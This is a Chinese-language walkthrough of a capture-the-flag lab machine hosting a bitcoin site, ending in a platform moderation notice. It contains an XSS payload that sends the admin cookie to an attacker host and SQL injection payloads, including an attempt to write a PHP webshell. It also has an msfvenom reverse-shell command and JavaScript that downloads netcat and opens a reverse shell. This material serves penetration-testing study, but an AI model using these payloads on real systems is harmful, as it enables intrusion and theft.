代码拉取完成,页面将自动刷新
端口扫描
sudo nmap -p- -n --open 10.10.10.154
PORT STATE SERVICE 80/tcp open http 443/tcp open https 445/tcp open microsoft-ds 3306/tcp open mysql
80和443是同一个站,注册登录发现是一个比特币交易站,还能转账
提示转账请求会被admin审核,再加上dirsearch扫目录发现存在admin目录。访问admin目录提示未登录无法访问
那很明显了,xss打admin cookie
插入
<img src=x onerror="this.src='http://10.10.14.5:8888/?'+document.cookie; this.removeAttribute('onerror');">
替换cookies之后成功进入admin目录
在notes.txt中发现信息:
测试Backdoorchecker功能:要求访问来自本地,尝试伪造X-Forwarded-For绕过失败
测试search user功能存在sql注入问题
term=1'order by 4--+ 不正常确定列数为3
term=1'union select 1,database(),2--+ 得到数据库名bankrobber
根据现有信息尝试往xampp默认路径写入webshell
select 1,'<?php eval($_POST[a]);?>',3 INTO OUTFILE 'C:\\xampp\\htdocs\\wu.php'--+
写入失败(换sqlmap也没成功),应该是权限不够
但是构造路径读文件成功了
term=0' union select 1,load_file("C:\\xampp\\htdocs\\admin\\backdoorchecker.php"),3--+
得到backdoor功能的源码
<?php
include('../link.php');
include('auth.php');
$username = base64_decode(urldecode($_COOKIE['username']));
$password = base64_decode(urldecode($_COOKIE['password']));
$bad = array('$(','&');
$good = "ls";
if(strtolower(substr(PHP_OS,0,3)) == "win"){
$good = "dir";
}
if($username == "admin" && $password == "Hopelessromantic"){
if(isset($_POST['cmd'])){
// FILTER ESCAPE CHARS
foreach($bad as $char){
if(strpos($_POST['cmd'],$char) !== false){
die("You're not allowed to do that.");
}
}
// CHECK IF THE FIRST 2 CHARS ARE LS
if(substr($_POST['cmd'], 0,strlen($good)) != $good){
die("It's only allowed to use the $good command");
}
if($_SERVER['REMOTE_ADDR'] == "::1"){
system($_POST['cmd']);
} else{
echo "It's only allowed to access this function from localhost (::1).<br> This is due to the recent hack attempts on our server.";
}
}
} else{
echo "You are not allowed to use this function!";
}
?>
看源码这个命令执行还是可以绕过的。
dir|cmd
但是一直过不了本地判定。。。。回想开头我们有个xss,xss构造一个post不就能触发了吗?!
先生成一个马
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe EXITFUNC=thread -o wu.exe
构造一个恶意js,放在python启的服务器上
var request = new XMLHttpRequest();
var params = 'cmd=dir|powershell -c "iwr -uri 10.10.14.5/nc64.exe -outfile %temp%\\n.exe"; %temp%\\n.exe -e cmd.exe 10.10.14.5 443';
request.open('POST', 'http://localhost/admin/backdoorchecker.php', true);
request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
request.send(params);
之前xss处插入
<img src=x onerror="this.src='http://10.10.14.5/xsrf,js?'; this.removeAttribute('onerror');">
几经尝试,重置靶机之后xss都没能触发。挺奇怪的。
此处可能存在不合适展示的内容,页面不予展示。您可通过相关编辑功能自查并修改。
如您确认内容无涉及 不当用语 / 纯广告导流 / 暴力 / 低俗色情 / 侵权 / 盗版 / 虚假 / 无价值内容或违法国家有关法律法规的内容,可点击提交进行申诉,我们将尽快为您处理。